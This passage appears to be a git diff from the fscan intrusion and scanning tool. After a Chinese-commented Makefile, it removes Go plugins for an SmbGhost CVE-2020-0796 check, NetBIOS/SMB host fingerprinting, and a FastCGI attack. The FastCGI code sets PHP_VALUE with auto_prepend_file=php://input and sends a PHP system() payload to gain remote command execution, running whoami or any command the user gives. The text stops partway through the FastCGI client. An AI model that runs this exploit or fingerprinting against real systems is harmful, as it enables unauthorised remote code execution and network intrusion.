@echo "$(GREEN)✓ 测试通过$(NC)"
|
||||
|
||||
## test-cover: 运行测试并生成覆盖率报告
|
||||
test-cover:
|
||||
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
|
||||
# 禁用go test内置的vet检查,原因同上
|
||||
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
|
||||
@echo ""
|
||||
@echo "$(BLUE)覆盖率报告:$(NC)"
|
||||
$(GO) tool cover -func=coverage.out | tail -1
|
||||
@echo ""
|
||||
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
|
||||
$(GO) tool cover -html=coverage.out -o coverage.html
|
||||
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
|
||||
|
||||
## build: 构建生产版本(无 pprof,优化体积)
|
||||
build:
|
||||
@echo "$(BLUE)构建生产版本(无 pprof)...$(NC)"
|
||||
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
|
||||
|
||||
## build-web: 构建带Web UI的版本(需要先构建前端)
|
||||
build-web: build-ui
|
||||
@echo "$(BLUE)构建Web版本...$(NC)"
|
||||
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
|
||||
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)"
|
||||
|
||||
## build-ui: 构建前端(需要Node.js和npm)
|
||||
build-ui:
|
||||
@echo "$(BLUE)构建前端...$(NC)"
|
||||
@if [ ! -d "web-ui" ]; then \
|
||||
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
|
||||
echo "请先创建前端项目"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@cd web-ui && npm install && npm run build
|
||||
@rm -rf web/dist
|
||||
@cp -r web-ui/dist web/dist
|
||||
@echo "$(GREEN)✓ 前端构建完成$(NC)"
|
||||
|
||||
## build-debug: 构建调试版本(带 pprof)
|
||||
build-debug:
|
||||
@echo "$(BLUE)构建调试版本(带 pprof)...$(NC)"
|
||||
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
|
||||
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
|
||||
|
||||
## build-race: 构建 race 检测版本
|
||||
build-race:
|
||||
@echo "$(BLUE)构建 race 检测版本...$(NC)"
|
||||
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
|
||||
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
|
||||
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
|
||||
|
||||
## build-all: 构建所有平台的二进制文件
|
||||
build-all:
|
||||
@echo "$(BLUE)构建所有平台...$(NC)"
|
||||
@echo "Windows amd64..."
|
||||
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
|
||||
@echo "Linux amd64..."
|
||||
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
|
||||
@echo "Darwin amd64..."
|
||||
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
|
||||
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
|
||||
|
||||
## lint: 运行代码检查
|
||||
lint:
|
||||
@echo "$(BLUE)运行代码检查...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run ./...
|
||||
@echo "$(GREEN)✓ 代码检查通过$(NC)"
|
||||
|
||||
## lint-fix: 运行代码检查并自动修复
|
||||
lint-fix:
|
||||
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
|
||||
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
|
||||
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
|
||||
echo "运行 'make install-tools' 安装"; \
|
||||
exit 1; }
|
||||
$(GOLANGCI_LINT) run --fix ./...
|
||||
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
|
||||
|
||||
## clean: 清理构建产物
|
||||
clean:
|
||||
@echo "$(BLUE)清理构建产物...$(NC)"
|
||||
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
|
||||
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
|
||||
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
|
||||
rm -f coverage.out coverage.html
|
||||
rm -rf dist/ tests/logs/
|
||||
@echo "$(GREEN)✓ 清理完成$(NC)"
|
||||
|
||||
## stress-test: 压力测试(需要先 build-debug)
|
||||
stress-test:
|
||||
@echo "$(BLUE)压力测试...$(NC)"
|
||||
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
|
||||
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
|
||||
echo "请先运行 'make build-debug'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
@if [ -f tests/stress_test.sh ]; then \
|
||||
bash tests/stress_test.sh; \
|
||||
else \
|
||||
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
|
||||
echo "请先创建压力测试脚本"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
## ci: CI流程(lint + test + build)
|
||||
ci: lint test build
|
||||
@echo "$(GREEN)✓ CI流程完成$(NC)"
|
||||
|
||||
## install-tools: 安装开发工具
|
||||
install-tools:
|
||||
@echo "$(BLUE)安装开发工具...$(NC)"
|
||||
@echo "检查 golangci-lint..."
|
||||
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
|
||||
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
|
||||
$(GOLANGCI_LINT) version; \
|
||||
else \
|
||||
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
|
||||
if command -v go >/dev/null 2>&1; then \
|
||||
echo "使用 go install 安装..."; \
|
||||
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
|
||||
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
|
||||
$(GOLANGCI_LINT) version || \
|
||||
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
|
||||
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
|
||||
echo "或访问: https://golangci-lint.run/welcome/install/"; \
|
||||
exit 1; }; \
|
||||
else \
|
||||
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
fi
|
||||
|
||||
## fmt: 格式化代码
|
||||
fmt:
|
||||
@echo "$(BLUE)格式化代码...$(NC)"
|
||||
$(GO) fmt ./...
|
||||
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
|
||||
|
||||
## vet: 运行 go vet(跳过printf检查)
|
||||
vet:
|
||||
@echo "$(BLUE)运行 go vet...$(NC)"
|
||||
$(GO) vet -printf=false ./...
|
||||
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
|
||||
@@ -1,127 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
|
||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write([]byte(pkt))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -1,281 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "Workstation Service",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "Server Service",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "Domain Name",
|
||||
"\x1C": "Domain Controllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBIOS computer name",
|
||||
"\x02\x00": "NetBIOS domain name",
|
||||
"\x03\x00": "DNS computer name",
|
||||
"\x04\x00": "DNS domain name",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
)
|
||||
|
||||
type NbnsName struct {
|
||||
unique string
|
||||
group string
|
||||
msg string
|
||||
osversion string
|
||||
}
|
||||
|
||||
func NetBIOS(info *common.HostInfo) error {
|
||||
nbname, err := NetBIOS1(info)
|
||||
var msg, isdc string
|
||||
|
||||
if strings.Contains(nbname.msg, "Domain Controllers") {
|
||||
isdc = "[+]DC"
|
||||
}
|
||||
msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
|
||||
|
||||
if info.Scantype == "netbios" {
|
||||
msg += "\n-------------------------------------------\n" + nbname.msg
|
||||
}
|
||||
if len(nbname.group) > 0 || len(nbname.unique) > 0 {
|
||||
common.LogSuccess(msg)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
|
||||
nbname, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if err == nil {
|
||||
name := netbiosEncode(nbname.unique)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if info.Ports == "139" && len(payload0) > 0 {
|
||||
_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = readbytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
|
||||
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
|
||||
_, err = conn.Write(payload1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = readbytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(payload2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ret, err := readbytes(conn)
|
||||
if err != nil || len(ret) < 45 {
|
||||
return
|
||||
}
|
||||
|
||||
num1, err := bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err := bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
msg1 := string(tmp1[:len(tmp1)-1])
|
||||
nbname.osversion = msg1
|
||||
index1 := strings.Index(msg1, "|")
|
||||
if index1 > 0 {
|
||||
nbname.osversion = nbname.osversion[:index1]
|
||||
}
|
||||
nbname.msg += "-------------------------------------------\n"
|
||||
nbname.msg += msg1 + "\n"
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
num1, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 暂时不想处理
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
} else {
|
||||
nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
|
||||
}
|
||||
}
|
||||
return nbname, err
|
||||
}
|
||||
|
||||
func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, 137)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, err := readbytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(text) < 57 {
|
||||
return nbname, fmt.Errorf("no names available")
|
||||
}
|
||||
num, err := bytetoint(text[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
data := text[57:]
|
||||
var msg string
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
nbname.group = strings.Replace(name, " ", "", -1)
|
||||
msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
|
||||
} else {
|
||||
nbname.unique = strings.Replace(name, " ", "", -1)
|
||||
msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n", name)
|
||||
}
|
||||
}
|
||||
nbname.msg += msg
|
||||
return
|
||||
}
|
||||
|
||||
func readbytes(conn net.Conn) (result []byte, err error) {
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result = append(result, buf[0:count]...)
|
||||
if count < 4096 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := (one + 0x41)
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,19 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
var PluginList = map[string]interface{}{
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"139": NetBIOS,
|
||||
"445": SmbScan,
|
||||
"1433": MssqlScan,
|
||||
"3306": MysqlScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9000": FcgiScan,
|
||||
"11211": MemcachedScan,
|
||||
"27017": MongodbScan,
|
||||
"1000001": MS17010,
|
||||
"1000002": SmbGhost,
|
||||
"1000003": WebTitle,
|
||||
}
|
||||
@@ -1,365 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//links
|
||||
//https://xz.aliyun.com/t/9544
|
||||
//https://github.com/wofeiwo/webcgi-exploits
|
||||
|
||||
func FcgiScan(info *common.HostInfo) {
|
||||
url := "/etc/issue"
|
||||
if info.Path != "" {
|
||||
url = info.Path
|
||||
}
|
||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
var reqParams string
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
||||
switch {
|
||||
case info.Command == "read":
|
||||
reqParams = ""
|
||||
case info.Command != "":
|
||||
reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
|
||||
default:
|
||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
||||
}
|
||||
|
||||
env := make(map[string]string)
|
||||
|
||||
env["SCRIPT_FILENAME"] = url
|
||||
env["DOCUMENT_ROOT"] = "/"
|
||||
env["SERVER_SOFTWARE"] = "go / fcgiclient "
|
||||
env["REMOTE_ADDR"] = "127.0.0.1"
|
||||
env["SERVER_PROTOCOL"] = "HTTP/1.1"
|
||||
|
||||
if len(reqParams) != 0 {
|
||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
||||
env["REQUEST_METHOD"] = "POST"
|
||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
||||
} else {
|
||||
env["REQUEST_METHOD"] = "GET"
|
||||
}
|
||||
|
||||
fcgi, err := New(addr, info.Timeout)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
|
||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
|
||||
//1
|
||||
//Content-type: text/html
|
||||
//
|
||||
//uid=1001(www) gid=1001(www) groups=1001(www)
|
||||
|
||||
//2
|
||||
//Status: 404 Not Found
|
||||
//Content-type: text/html
|
||||
//
|
||||
//File not found.
|
||||
//Primary script unknown
|
||||
|
||||
//3
|
||||
//Status: 403 Forbidden
|
||||
//Content-type: text/html
|
||||
//
|
||||
//Access denied.
|
||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
||||
var result string
|
||||
var output = string(stdout)
|
||||
if strings.Contains(string(stdout), cutLine) { //命令成功回显
|
||||
output = strings.SplitN(string(stdout), cutLine, 2)[0]
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
// for padding so we don't have to allocate all the time
|
||||
// not synchronized because we don't care what the contents are
|
||||
var pad [maxPad]byte
|
||||
|
||||
const (
|
||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
||||
FCGI_ABORT_REQUEST
|
||||
FCGI_END_REQUEST
|
||||
FCGI_PARAMS
|
||||
FCGI_STDIN
|
||||
FCGI_STDOUT
|
||||
FCGI_STDERR
|
||||
)
|
||||
|
||||
const (
|
||||
FCGI_RESPONDER uint8 = iota + 1
|
||||
)
|
||||
|
||||
const (
|
||||
maxWrite = 6553500 // maximum record body
|
||||
maxPad = 255
|
||||
)
|
||||
|
||||
type header struct {
|
||||
Version uint8
|
||||
Type uint8
|
||||
Id uint16
|
||||
ContentLength uint16
|
||||
PaddingLength uint8
|
||||
Reserved uint8
|
||||
}
|
||||
|
||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
||||
h.Version = 1
|
||||
h.Type = recType
|
||||
h.Id = reqId
|
||||
h.ContentLength = uint16(contentLength)
|
||||
